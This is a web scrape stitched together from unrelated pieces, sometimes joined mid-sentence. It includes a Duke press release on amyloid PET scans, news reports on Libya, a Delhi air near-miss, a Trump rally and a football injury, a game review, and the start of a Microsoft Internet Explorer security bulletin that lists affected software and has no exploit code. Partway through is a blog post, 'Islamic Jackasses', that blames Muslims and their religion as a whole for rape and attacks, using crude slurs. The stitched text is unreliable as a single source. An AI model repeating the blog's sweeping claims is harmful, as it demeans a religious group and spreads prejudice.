“Our research found that healthy adults and those with mild memory loss who have a positive scan for these plaques have a much faster rate of decline on memory, language and reasoning over three years,” said lead author P. Murali Doraiswamy, M.D., professor of psychiatry and director of the neurocognitive disorders program at Duke.
Alzheimer’s disease – which currently has no cure – afflicts an estimated five million U.S. adults, and is the sixth-leading cause of death among adults, according to the Centers for Disease Control and Prevention. Prior studies have found that changes in the brain begin years, and possibly decades, before cognitive symptoms emerge.
A biomarker that could accurately identify those at greatest risk for cognitive decline could help clinicians better evaluate and treat patients, while also accelerating the testing of drugs to treat the disease.
The current study, which enrolled 152 adults ages 50 and older, was designed to assess whether silent pathological changes in the brain associated with Alzheimer’s and detected with positron emission tomography (PET) can predict cognitive decline. Of the participants, 69 had normal cognitive function at the start of the study, 52 had been recently diagnosed with mild cognitive impairment, and 31 were diagnosed with Alzheimer's disease.
Subjects completed cognitive tests and underwent PET scans of their brains. This type of imaging uses a radioactive tracer to look for chemical signs of disease in specific tissues.
The radioactive dye used, florbetapir (Amyvid), was approved by the U.S. Food and Drug Administration in 2012 for PET imaging of the brain to estimate beta-amyloid plaque density in patients being evaluated for cognitive impairment. It binds to the beta-amyloid plaques that characterize Alzheimer's disease, helping to measure the extent to which plaques have formed in different brain regions. Using this information, the researchers rated the PET scans as positive or negative.
After 36 months, the researchers repeated the same cognitive exams to reassess participants. They found that those with mild or no cognitive impairment who had evidence of plaques at the trial's start worsened to a greater degree on cognitive tests than those with negative scans.
Thirty-five percent of plaque-positive participants who started with mild cognitive impairment progressed to Alzheimer's, compared to 10 percent without plaque. In addition, plaque-positive participants with mild impairment were more than twice as likely to be started on cognitive-enhancing medication than those without plaque.
Conversely, those with negative scans experienced much less decline: 90 percent of participants with mild cognitive impairment but no plaque did not progress to Alzheimer's. This finding supports the negative predictive value of using PET imaging to identify patients unlikely to decline, which has important implications for both clinical research and treatment.
“Having a negative scan could reassure people that they are not likely to be at risk for progression in the near future," Doraiswamy said.
Doraiswamy cautioned that florbetapir is currently not approved to predict the development of dementia and is not used as a screening tool in cognitively normal people. Future longitudinal studies are needed to further clarify the prognostic role of beta-amyloid plaque PET imaging in a clinical setting.
“Even though our study suggests the test has predictive value in normal adults, we still need additional evidence,” Doraiswamy said. “We need longer-term studies to look at the consequences of silent brain plaque build-up, given that it affects 15 to 30 percent of normal older people.”
Doraiswamy added that the findings provide support for planned and ongoing multicenter clinical trials of asymptomatic older adults with plaque-positive scans. The research also has implications for other conditions where amyloid might play a role, such as traumatic brain injury (from sports or combat).
In addition to Doraiswamy, study authors include Terence Z. Wong of Duke (currently at the University of North Carolina at Chapel Hill); Reisa A. Sperling and Keith Johnson of Massachusetts General Hospital, Harvard Medical School; Eric M. Reiman of Banner Alzheimer's Institute; Marwan N. Sabbagh of Banner-Sun Health Research Institute; Carl H. Sadowsky of Nova SE University; Michael Grundman of Global R&D Partners and the University of California, San Diego; Adam S. Fleisher of Banner Alzheimer's Institute and the University of California, San Diego; and Alan Carpenter, Abhinay D. Joshi, Ming Lu, Mark A. Mintun, Daniel M. Skovronsky and Michael J. Pontecorvo of Avid Radiopharmaceuticals.
The study was funded by Eli Lilly/Avid Radiopharmaceuticals, which markets florbetapir, and was conducted by Avid and the AV45-A11 study group, a consortium of Alzheimer's clinical research centers. Doraiswamy receives advisory and speaker fees from Lilly/Avid, as well as other companies. A full list of author disclosures can be found in the manuscript.
###Islamic Jackasses
So there are a couple of stories prevalent in the news that need to be addressed. I took the time last night to address them. One is a Muslim shooting a cop in Philly and the other is about Muslims in Germany that are Raping women on NYE.
Rapin’
In Cologne on NYE, a bunch of men decided they were going to go and rape women to start the new year. There have been hundreds of reports of this from that night alone. Only a few have been identified and are being investigated.
One big problem is that where these immigrants are fleeing is that their culture is ingrained with their religion. It’s so heavily mixed, that it is impossible to separate at this point.
A Norwegian woman was raped in Dubai and was arrested for trumped up charges because she was in fact raped. They quite literally have rape culture in those societies due to the religious infusion in their government and culture in general.
See Friendly Atheists Post
Shootin’
In Philly, a cop was a attacked by a muslim man who was apparently waging a personal jihad against the police force and only he knew about it. He’s quoted as saying that he attacked the unsuspecting police officer because he defended laws that were against the Qur’an. Well no shit sherlock… the founding principles of america are against the Qur’an.
What he did though was run up to a parked police car, fires aimlessly into the vehicle, then flees like a lil bitch. The cop that got shot however gets out of his car and chases after the mafucker.
For more commentary and information, please watch the video below:
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. Djamel made sandwiches for a living before starting a computer course. They then moved to Afghanistan, then under control of the Taliban, in 2000, as they “wanted to live in a Muslim country”.
Djamel was arrested at Dubai airport in 2001 and was found to have organised a terror cell while living in Leicester. He was discovered to have links with Algerian group GSPC and Takfir Wal Hirja, a group founded by Bin Laden’s deputy Ayman al-Zawahiri.
In a UK court case, Beghal was described as being so extreme that even Osama bin Laden thought him to be “beyond the pale”.
Mrs Beghal maintains her husband’s innocence, however. She also said that she decided to move back to Leicester “mainly for religious reasons”.
“I wanted to educate my children surrounded by Muslim brothers and sisters. It wasn’t really possible [in France].
“I wanted help for my children. I wanted them to live in an Islamic environment. It is not possible in France since we cannot really live in community.
“Most of all, I was asked to remove my headscarf to work. For me, it was unimaginable. I was not ready to make that kind of compromise.”
Speaking yesterday, she said her husband had nothing to do with the Paris shootings.
“Once again my husband is punished for something he didn’t do. He has been placed in solitary confinement after all the false media coverage. He has nothing to do with the attack against Charlie Hebdo.
“The media is repeating false allegations which have been made against him for 14 years now. Our family too is suffering. We just want to be left alone and lead a peaceful life.”Rebel leadership wants defector returned and tried for crimes against humanity once Gaddafi is toppled
Libya's rebel leadership has called for Moussa Koussa, the former Libyan foreign minister who has defected to the UK, to be returned for trial for murder and crimes against humanity after Muammar Gaddafi is toppled.
Mustafa Gheriani, a spokesman for the revolutionary council in its de facto capital, Benghazi, said that the rebels were not bent on revenge against the regime's officials but that some of Gaddafi's closest associates "have a lot of blood on their hands" and must stand trial.
The British foreign secretary, William Hague, has said that Britain is not offering Koussa immunity from prosecution, and called for other regime figures to abandon Gaddafi.
Gheriani alleged that Koussa had been partly responsible for assassinating opposition figures in exile, murderous internal repression and the Lockerbie plane bombing.
"We want to bring him to court," Gheriani said. "This guy has so much blood on his hands. There are documented killings, torturing. There's documentation of what Moussa Koussa has done. We want him tried by Libyan people. I believe once we have our government 100% in control in Libya, things are normalised, we want him tried here. I think international law gives us that right."
Gheriani said it was up to Britain to decide whether to arrest Koussa in the meantime. Koussa's arrival in London was evidence that Gaddafi's regime was "starting to crumble". He expected other senior officials to follow.
"He is a very, very major person to defect. Gaddafi trusted him more than some of his sons. Now Gaddafi doesn't even trust his own people any more," Gheriani said.
Gheriani said a senior military official in Kufra, Colonel Saleh al-Zaroug, had defected to the rebels. He had served in an army division commanded by one of Gaddafi's sons. The defection was impossible to confirm.
Hague said Koussa was not being offered any immunity from British or international justice. He had come to the UK on a private plane from Tunisia having left Libya of his own free will. "Gaddafi must be thinking to himself: 'Who will be the next to walk away?'" Hague said.
It would not be "helpful to advertise" whether other senior members of the regime planned to quit, Hague said, but he believed it was likely that many opposed Gaddafi's actions. He added that Koussa was in a secure place in the UK and talking voluntarily to British officials, including staff at Britain's Tripoli embassy now based in London.
Koussa's defection provides Britain with an unparalleled source of intelligence on the state of the Libyan ruler's inner circle. But his arrival in the UK has also led to expectations that he will be questioned about his possible involvement in or knowledge of atrocities including the Lockerbie bombing and the murder of PC Yvonne Fletcher.
Jim Swire, whose daughter, Flora, was killed in the Lockerbie bombing, said Mousa's defection was a "fantastic day" for the victims' families.
"Within the Libyan regime, [Koussa] is in the best position of anyone other than Gaddafi himself to tell us what the regime knows or did," he said. "He would be a peerless source of information."
Koussa was expelled from the UK in 1980 and became the head of Libyan foreign intelligence for 15 years, including the period of the Lockerbie bombing, which happened in 1988. He has always denied Libya was involved.
Jack Straw, a former foreign secretary, has described Koussa as a key player with a "fundamentally important" role in negotiations to bring Libya back into the international fold. "Moussa Koussa's apparent defection, certainly his unscheduled visit here, will be a very important factor in just adding to the weight against the Gaddafi regime and tipping the balance against him," Straw told the BBC. "From a distance, what's clear is that there is unlikely to be any military victory for either side. So it does depend on which side psychologically collapses."
Alongside Koussa's defection, it has emerged that Barack Obama signed a secret government order authorising covert US help to the Libyan rebels.
Opposition fighters are trying to recover some of the territory retaken by a government counterattack that has again brought Gaddafi's forces within striking distance of Benghazi.
The revolutionary leadership has called for more of the air strikes that allowed it to surge towards Gaddafi's home town of Sirte. But after their tanks and artillery were destroyed by the coalition, government troops switched tactics, using armoured pickup trucks to outflank and ambush the ragtag opposition forces.
Rebels trying to recapture the town of Brega came under rocket and mortar fire early on Thursday.On September 2, 2013, at Delhi’s Indira Gandhi International airport, a mid-air disaster was just seconds away. In the span of 50 seconds between 08:53:22 am and 08:54:12 am, a SpiceJet and an Indigo flight, with a total of nearly 300 people on board, narrowly missed a collision, not once or twice, but thrice.
The confusion started when Air Traffic Control (ATC) allowed the SpiceJet flight SEJ234 to land on Runway No. 28 from where the Indigo aircraft IGO286 was about to take off.
From there, the situation rapidly hurtled towards a catastrophe, aided by wrong instructions from the ATC.
The first collision was averted when the two planes were just 50 feet apart —the Spicejet plane was descending for a landing and the Indigo aircraft was about to take off. No instruction from ATC, Spicejet aborted landing and started climbing.
But more danger was in store. The Indigo flight took off and both planes ascended parallel to each other, converging at a point when they were at the same height and just 300 feet apart laterally. The pilots realised the risk and the Spicejet plane flew underneath the other.
But with the ATC offering little help, a third near miss was in store. The new course set both planes on a collision course that was prevented by an in-built anti-collision system on both aircraft.
This was the narrowest escape since the world’s worst mid-air collision in November 1996, when a Saudi and a Kazakh plane crashed into each other above Charkhi Dadri near Delhi, killing all 349 people on board.
A Directorate General of Civil Aviation (DGCA) probe concluded that confusion over the handover and takeover between two ATC instructors was the main reason for the September 2, 2013 incident, an HT investigation has found.
This wasn’t the only case of ATC error. On May 8, 2014 a Jet Airways and an Indigo flight had a similar near miss situation in Mumbai due to poor ATC planning.
India’s civil aviation regulator found that 71 of the 129 potential collisions between 2011 and May this year were because of ATC glitches.
These included misjudgment by the controller, inadvertent clearance issued by the controller, loss of situational awareness by the controller and poor planning by the controller – all of which contributed to the risking of thousands of passengers’ lives.
A glaring example of poor air safety is right here in Delhi, where a new air traffic control tower at the Indira Gandhi International airport is yet to operationalise. “It has missed many deadlines and there is no update on when it will be ready and operational. ATC is not well-equipped to handle the air traffic situation,” says a senior official from the Air Navigation Services under the Airports Authority of India (AAI).
The Airports Authority of India, which controls the ATC and the airlines mentioned in the story, did not respond to HT queries.
All it takes is 40 seconds
The DGCA defines a near miss or an airprox (aircraft proximity) as a situation where the distance between aircraft as well as their relative positions and speeds may have comprised the safety of the planes.
The AAI official said near miss occurs when aircraft are separated by less than 1,000 feet of vertical distance or 5-25 nautical miles (30,000- 150,000 feet) of horizontal distance.
An HT investigation of a near miss on May 7 this year, based on data from Flightaware.com, the world’s largest flight-tracking data company, shows how technology played a part in averting the collision.
India’s skies have been kept safe for the past few decades by a technology called the Traffic Collision Avoidance System (TCAS) that was made mandatory after the Charkhi-Dadri incident.
The TCAS radio signal creates an electronic shield around a flight. If two shields overlap, TCAS alerts both pilots.
If an airprox situation arises, TCAS first gives them a traffic advisory (TA). In other words, if one aircraft is 40 seconds away from another aircraft, vertically or horizontally, TCAS indicates a possible threat.
But if the violations continue and time gap reduces to 25 seconds, the TCAS instructs one flight to “climb” while other one to “descend” till the violation is removed.
If the ATC and TCAS instructions contradict each other, pilots are instructed to follow the TCAS – a practice made mandatory after the Uberlingen mid-air collision in Germany in 2002 where 70 people died.
ATCs face staff crunch
A former DGCA official says a rise in near misses over the past few years is due to increasing air traffic, but data doesn’t support his claim. Traffic increased just 17% this year but potential collisions rose by 78%.
A more plausible reason is the severe shortage of traffic controllers in ATC operations in India, say civil aviation ministry sources. The ATC — which organises the flow of air traffic to prevent collision — is functioning without a quarter of its sanctioned strength.
There’s a shortage of 1,000 air traffic controllers, as revealed by a 2014 audit by International Civil Aviation Organisation (a UN agency that guides aviation norms), according to a senior manager in Air Traffic Control Operations. One area controller shouldn’t handle more than 15 aircraft at a time, but he is doing twice that. An area controller monitors aircraft at cruising speed.
Sources in the ATC reveal that no controller was recruited between 2012 and 2015. At the same time, the number of aircraft departures rose from 647,863 to 789,260.
A shortage of controllers was one of the reasons why the United States Federal Aviation Administration (FAA) downgraded India’s aviation safety ratings in January 2014.
“The shortage of ATCs compromises with the safety of thousands of flyers every day. We are waiting for a disaster to act,” says SS Panesar, who headed the flight safety and training divisions at Indian Airlines.
Few takers
The stress inside an ATC was best captured in the 1999 John Cusack movie Pushing Tin. An ATC source involved with recruitment says this year, 3,000 people applied for an air controller’s job and 400 were selected. “90 out of them refused to join.” The high stress and poor pay discouraged talented candidates, he adds.
A senior AAI official privy to pan-India ATC operations worries that the 310 fresh recruits will take seven years to become full-fledged area controllers.
“We have only 400 area controllers who work in shifts to monitor more than 2,000 flights daily. The more we delay in hiring them, the more time they will take to elevate to important positions,” he says.
Former executive director of AAI air operations, Gurucharan Bhatura, who was a part of an investigation into the 2010 Mangalore air crash, told HT that the government should recruit retired technical staff from the air force to tide over the crunch.
ATC lacks modernisation
But a lack of manpower isn’t the only reason for the appalling air safety record. Sources say few modern equipment and poor maintenance of existing infrastructure at ATC towers in major hubs such as Delhi, Mumbai, Chennai and Kolkata contribute to the rising potential collisions.
The second AAI official said an integrated radar system — supplying continuous and seamless images of aircraft from its take-off to landing anywhere in India — failed twice in the past six months, first in Kolkata and then Nagpur.
This failure means flights can go off the ATC radar in areas beyond the limit of a particular radar located in an airport.
For communicating with aircraft, the ATC uses high-frequency signals — which aren’t often audible to pilots — and officials say extended very-high frequency signals is the need of the hour for error-free communication of directions and instructions.
Read| Mid-air near misses rise to a new, dangerous high
First Published: Aug 22, 2016 01:02 ISTPlease enable Javascript to watch this video
After a rally for presidential candidate Donald Trump brought protesters to the Anaheim Convention Center Wednesday, prompting authorities to declare an "unlawful assembly," at least 14 people were arrested, police said.
Hundreds of protesters remained on the streets after law enforcement gave an order to disperse just before 2 p.m.
The event at the Anaheim Convention Center began about 12:30 p.m, with Trump returning to Orange County for the first time since a campaign rally in Costa Mesa on April 28.
At one point, Trump joined thousands of supporters in chanting "build that wall," in reference to his plan to have Mexico build a wall along the U.S. border.
Several hundred people gathered outside the event, including one young man who had a Trump-shaped piñata.
Mounted officers moved in to break up an incipient confrontation about 1:30 p.m., aerial video from Sky5 showed. A Trump supporter had entered the fray with a bullhorn and was shouting at the protesters that their stance was why "we need to build the wall."
The man told the protesters to "go home," saying Orange County did not need them there. In response, anti-Trump protesters called his supporters "racist."
As the rally ended and Trump finished speaking just before 1:30 p.m., groups of apparent protesters scattered. A group gathered in the parking lot of Tiffy's Family Restaurant, focused on one man carrying a large American flag. Police were close by.
Just before 2 p.m., police ordered protesters to disperse, saying the gathering had been declared an "unlawful assembly." Dozens of mounted officers appeared to be trying to clear the streets.
Trump supporters appeared to gather at the edge of a parking structure, chanting at protesters on the street below. Hotels on convention way were locked down because of the large crowds, police said.
After police initially released a changing number of arrests, Anaheim Police Department Detective Laura Lomeli said a total of 14 people were arrested -- nine adults and five juveniles.
One person was arrested on suspicion of selling T-shirts without a business license, and two others on suspicion of urinating in public, she said.
The 11 others were arrested for failing to disperse or vandalism, Lomeli said.
No injuries were reported.
Trump finished his 55-minute speech by telling supporters that the country and he were going to "win, win, win."
"You're going to say to me, Mr. President, 'We're winning too much, we can't take it.' And I'm going to say, 'I'm sorry, we're going to keep winning because we are going to make America great again," Trump said.
Trump headed to Hollywood later in the afternoon to tape an appearance for the "Jimmy Kimmel Live" show.
Last month, 17 people were arrested when violence erupted outside the Pacific Amphitheatre on the OC fairgrounds that day.
Video from Sky5 showed a protester jumping on top of a parked patrol car at the event.
One of the protesters was charged with felony vandalism and misdemeanor “inciting a riot,” as crowds of protesters flooded the streets.
On Tuesday, anti-Trump protesters took to the streets and threw rocks and bottles outside the presumptive Republican presidential nominee’s rally in Albuquerque, New Mexico.
The Anaheim Police Department was expected to be out in force Wednesday and called for peace ahead of the event.
Demonstrators were also warned that police will not tolerate violence or disobedience of the law.
“Everyone has the right to participate without fear of violence or disorder, and we are prepared to take swift and decisive enforcement action should it become necessary,” Police Chief Raul Quezada stated in a news release.
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Denver Broncos cornerback Chris Harris Jr. is dealing with a shoulder injury suffered against the Pittsburgh Steelers on Jan. 17, but he will reportedly avoid surgery and will not miss time.
Continue for updates.
Harris Active vs. Patriots.
Sunday, Jan. 24
The Broncos confirmed Harris is available to play against the New England Patriots in the AFC Championship Game.
Harris Expected to Avoid Surgery
Sunday, Jan. 24
Rapoport reported Harris won't need surgery, though he has been suffering from a deep-tissue bruise in his shoulder that has required "24-hour treatment." He added that Harris has been struggling to brush his teeth and play with his two-year-old child due to the pain and overall weakness in his shoulder.
Latest on Harris' Practice Status
Thursday, Jan. 21
Jeff Howe of the Boston Herald reported Harris was a full participant in practice for the second consecutive day.
Harris Comments on Injury
Thursday, Jan. 21
Harris said he didn't suffer a setback after the divisional-round matchup with the Steelers, per James Palmer of NFL Network.
Elway, Kubiak Comment on Harris' Playing Status
Thursday, Jan. 21
Broncos Vice President John Elway said Harris will be a game-time decision, per Adam Schefter of ESPN.
"He's making great progress, so we'll see," head coach Gary Kubiak said, per Nicki Jhabvala of the Denver Post.
Harris: My Shoulder Is 'Way Worse' Than Big Ben's
Sunday, Jan. 17
Palmer passed along what Harris had to say about his injured arm, which he compared to Steelers quarterback Ben Roethlisberger's. The star defensive back also added Bradley Roby will take the majority of snaps in his place moving forward.
This is a particularly discouraging self-diagnosis from Harris, because Roethlisberger was playing through torn ligaments and a sprained AC joint in his right throwing shoulder in Sunday's game.
Harris Is Major Cog in Denver's Strong Defense
Harris had a scare in the Broncos' 27-20 Week 17 win over the San Diego Chargers, when he dealt with a shoulder issue following a hit on Antonio Gates, but it didn't amount to much more than a stomach-churning moment for the AFC's No. 1 seed.
"He just hit that right spot like my shoulder pads didn't do a great job of blocking it at all," Harris said following the win, per the Denver Post's Cameron Wolfe. "He hit me straight on my little bone here, but I'm good I'll be back. I'll be straight."
Now the 26-year-old has changed his tune, which may be an ominous sign for Denver as it takes on quarterback Tom Brady and the New England Patriots in the AFC title game this weekend at Mile High.
In 16 games this season, Harris defended six passes and notched two interceptions while making 58 combined tackles en route to his second Pro Bowl selection. Harris played a team-leading 96.9 percent of Denver's defensive snaps this season, with fellow cornerback Aqib Talib right behind him at 89.1 percent, per Palmer.A new browser game seeks to enlighten players on the realities of depression, and how it can be overcome.
Many gamers experience the digital lives of videogame soldiers, wizards, and action heroes on a daily basis. What's very rare, however, to see a game that depicts the burdens of those suffering daily from mental illnesses. It's strange, considering that depression is a reality experienced by one in ten Americans, and in many cases largely goes untreated. That's something Zoe Quinn and Patrick Lindsey are hoping to address with their new browser game Depression Quest. Presented as a piece of interactive fiction, this game puts players in the shoes of an unremarkable 20-year old struggling with feelings of helplessness, where daily choices can either encourage his recovery or deepen his despair.
Depression Quest asks players to experience entirely ordinary situations, ranging from phone calls with a girlfriend, to meeting your mother, to working on a personal project. Each scene offers multiple-choice responses that drive the plot, the twist being that "healthy" choices are struck out as the protagonist's depression becomes entrenched. As the game progresses, players can eventually discover (or close off) plot threads that lead to treatment and recovery. Before that happens however, the player will need to surpass a steady stream of anxiety and self-doubt that makes even asking for help incredibly difficult.
Players should be warned that Depression Quest isn't something that's especially pleasant to sit through given its subject matter. The game's disclaimer advises that players suffering from depression should consider treatment before playing, while suicidal players should seek professional help and avoid the game entirely. That said, the game's tone has struck a very powerful chord among its players, many of whom are voicing their thoughts and experiences on Tumblr.
"We've had a major impact on depression sufferers," Quinn told IGN, "and we're getting an outpouring of letters from people suffering from it who were touched by it, including several people who started taking their medication again after playing the game. This is an amazing feeling and makes me feel like we accomplished the stated goal of making depression sufferers knowing that they're not alone and that someone understands."
Depression Quest can be played in full for free online, although as of writing it appears to be disabled due to high traffic. A pay-what-you-want option is also available on the game's website, with a portion of proceeds going to awareness charity iFred. If you do manage to access the game, and have the 20-30 minutes required for a playthrough, you'll very likely come away with a better understanding of what millions of people deal with on a regular basis.
Source: Depression Quest, via IGNMicrosoft Security Bulletin MS15-009 - Critical
29 minutes to read
Contributors
In this article
Published: February 10, 2015 | Updated: March 4, 2015
Version: 1.1
Executive Summary
This security update resolves one publicly disclosed and forty privately reported vulnerabilities in Internet Explorer. The most severe of these vulnerabilities could allow remote code execution if a user views a specially crafted webpage using Internet Explorer. An attacker who successfully exploited these vulnerabilities could gain the same user rights as the current user. Customers whose accounts are configured to have fewer user rights on the system could be less impacted than those who operate with administrative user rights.
This security update is rated Critical for Internet Explorer 6 (IE 6), Internet Explorer 7 (IE 7), Internet Explorer 8 (IE 8), Internet Explorer 9 (IE 9), Internet Explorer 10 (IE 10), and Internet Explorer 11 (IE 11) on affected Windows clients, and Moderate for Internet Explorer 6 (IE 6), Internet Explorer 7 (IE 7), Internet Explorer 8 (IE 8), Internet Explorer 9 (IE 9), Internet Explorer 10 (IE 10), and Internet Explorer 11 (IE 11) on affected Windows servers. For more information, see the Affected Software section.
The security update addresses the vulnerabilities by modifying the way that Internet Explorer handles objects in memory, by adding additional permission validations to Internet Explorer, by helping to ensure that affected versions of Internet Explorer properly implement the ASLR security feature, and by helping to ensure that cross-domain policies are properly enforced in Internet Explorer. For more information about the vulnerabilities, see the Vulnerability Information section.
For more information about this update, see Microsoft Knowledge Base Article 3034682.
Affected Software
The following software versions or editions are affected. Versions or editions that are not listed are either past their support life cycle or are not affected. To determine the support life cycle for your software version or edition, see Microsoft Support Lifecycle.
Affected Software
Operating System Component Maximum Security Impact Aggregate Severity Rating Updates Replaced Internet Explorer 6 Windows Server 2003 Service Pack 2 Internet Explorer 6
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Server 2003 x64 Edition Service Pack 2 Internet Explorer 6
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Server 2003 with SP2 for Itanium-based Systems Internet Explorer 6
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Internet Explorer 7 Windows Server 2003 Service Pack 2 Internet Explorer 7
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Server 2003 x64 Edition Service Pack 2 Internet Explorer 7
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Server 2003 with SP2 for Itanium-based Systems Internet Explorer 7
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Vista Service Pack 2 Internet Explorer 7
(3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows Vista x64 Edition Service Pack 2 Internet Explorer 7
(3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows Server 2008 for 32-bit Systems Service Pack 2 Internet Explorer 7
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Server 2008 for x64-based Systems Service Pack 2 Internet Explorer 7
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Server 2008 for Itanium-based Systems Service Pack 2 Internet Explorer 7
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Internet Explorer 8 Windows Server 2003 Service Pack 2 Internet Explorer 8
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 and 3012168 in MS14-084
OR 3008923 in MS14-080 and 3012172 in MS14-084
OR 3008923 in MS14-080 and 3012176 in MS14-084[1] Windows Server 2003 x64 Edition Service Pack 2 Internet Explorer 8
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 and 3012168 in MS14-084
OR 3008923 in MS14-080 and 3012172 in MS14-084
OR 3008923 in MS14-080 and 3012176 in MS14-084[1] Windows Vista Service Pack 2 Internet Explorer 8
(3021952) Remote Code Execution Critical 3008923 in MS14-080 and 3012176 in MS14-084 Windows Vista x64 Edition Service Pack 2 Internet Explorer 8
(3021952) Remote Code Execution Critical 3008923 in MS14-080 and 3012176 in MS14-084 Windows Server 2008 for 32-bit Systems Service Pack 2 Internet Explorer 8
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 and 3012176 in MS14-084 Windows Server 2008 for x64-based Systems Service Pack 2 Internet Explorer 8
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 and 3012176 in MS14-084 Windows 7 for 32-bit Systems Service Pack 1 Internet Explorer 8
(3021952) Remote Code Execution Critical 3008923 in MS14-080 and 3012176 in MS14-084 Windows 7 for x64-based Systems Service Pack 1 Internet Explorer 8
(3021952) Remote Code Execution Critical 3008923 in MS14-080 and 3012176 in MS14-084 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Internet Explorer 8
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 and 3012176 in MS14-084 Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 Internet Explorer 8
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 and 3012176 in MS14-084 Internet Explorer 9 Windows Vista Service Pack 2 Internet Explorer 9
(3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows Vista Service Pack 2 Internet Explorer 9
(3034196)[2] Security Feature Bypass Important None Windows Vista x64 Edition Service Pack 2 Internet Explorer 9
(3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows Vista x64 Edition Service Pack 2 Internet Explorer 9
(3034196)[2] Security Feature Bypass Important None Windows Server 2008 for 32-bit Systems Service Pack 2 Internet Explorer 9
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Server 2008 for 32-bit Systems Service Pack 2 Internet Explorer 9
(3034196)[2] Security Feature Bypass Low None Windows Server 2008 for x64-based Systems Service Pack 2 Internet Explorer 9
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Server 2008 for x64-based Systems Service Pack 2 Internet Explorer 9
(3034196)[2] Security Feature Bypass Low None Windows 7 for 32-bit Systems Service Pack 1 Internet Explorer 9
(3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows 7 for 32-bit Systems Service Pack 1 Internet Explorer 9
(3034196)[2] Security Feature Bypass Important None Windows 7 for x64-based Systems Service Pack 1 Internet Explorer 9
(3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows 7 for x64-based Systems Service Pack 1 Internet Explorer 9
(3034196)[2] Security Feature Bypass Important None Windows Server 2008 R2 for x64-based Systems Service Pack 1 Internet Explorer 9
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Internet Explorer 9
(3034196)[2] Security Feature Bypass Low None Internet Explorer 10 Windows 7 for 32-bit Systems Service Pack 1 Internet Explorer 10
(3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows 7 for 32-bit Systems Service Pack 1 Internet Explorer 10
(3034196)[2] Security Feature Bypass Important None Windows 7 for x64-based Systems Service Pack 1 Internet Explorer 10
(3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows 7 for x64-based Systems Service Pack 1 Internet Explorer 10
(3034196)[2] Security Feature Bypass Important None Windows Server 2008 R2 for x64-based Systems Service Pack 1 Internet Explorer 10
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Internet Explorer 10
(3034196)[2] Security Feature Bypass Low None Windows 8 for 32-bit Systems Internet Explorer 10
(3021952) Remote Code Execution Critical 3008923 and 3029449 in MS14-080 Windows 8 for 32-bit Systems Internet Explorer 10
(3034196)[2] Security Feature Bypass Important None Windows 8 for x64-based Systems Internet Explorer 10
(3021952) Remote Code Execution Critical 3008923 and 3029449 in MS14-080 Windows 8 for x64-based Systems Internet Explorer 10
(3034196)[2] Security Feature Bypass Important None Windows Server 2012 Internet Explorer 10
(3021952) Remote Code Execution Moderate 3008923 and 3029449 in MS14-080 Windows Server 2012 Internet Explorer 10
(3034196)[2] Security Feature Bypass Low None Windows RT Internet Explorer 10[3] (3021952) Remote Code Execution Critical 3008923 and 3029449 in MS14-080 Windows RT Internet Explorer 10[3]
(3034196)[2] Security Feature Bypass Important None Internet Explorer 11 Windows 7 for 32-bit Systems Service Pack 1 Internet Explorer 11
(3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows 7 for 32-bit Systems Service Pack 1 Internet Explorer 11
(3034196)[2] Security Feature Bypass Important None Windows 7 for x64-based Systems Service Pack 1 Internet Explorer 11
(3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows 7 for x64-based Systems Service Pack 1 Internet Explorer 11
(3034196)[2] Security Feature Bypass Important None Windows Server 2008 R2 for x64-based Systems Service Pack 1 Internet Explorer 11
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Server 2008 R2 for x64-based Systems Service Pack 1 Internet Explorer 11
(3034196)[2] Security Feature Bypass Low None Windows 8.1 for 32-bit Systems Internet Explorer 11
(3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows 8.1 for 32-bit Systems Internet Explorer 11
(3034196)[2] Security Feature Bypass Important None Windows 8.1 for x64-based Systems Internet Explorer 11
(3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows 8.1 for x64-based Systems Internet Explorer 11
(3034196)[2] Security Feature Bypass Important None Windows Server 2012 R2 Internet Explorer 11
(3021952) Remote Code Execution Moderate 3008923 in MS14-080 Windows Server 2012 R2 Internet Explorer 11
(3034196)[2] Security Feature Bypass Low None Windows RT 8.1 Internet Explorer 11[3] (3021952) Remote Code Execution Critical 3008923 in MS14-080 Windows RT 8.1 Internet Explorer 11[3] (3034196)[2] Security Feature Bypass Important None
[1]The updates replaced by update 3021952 depends on the version of VBScript installed on your system.
[2]Customers who install updates manually must install update 3021952 before installing update 3034196.
[3]This update is available via Windows Update.
Note Windows Technical Preview and Windows Server Technical Preview are affected. Customers running these operating systems are encouraged to apply the update, which is available via Windows Update.
There are there are multiple update packages listed in the Affected Software table for Internet Explorer 9, Internet Explorer 10, and Internet Explorer 11. Do I need to install all of these updates?
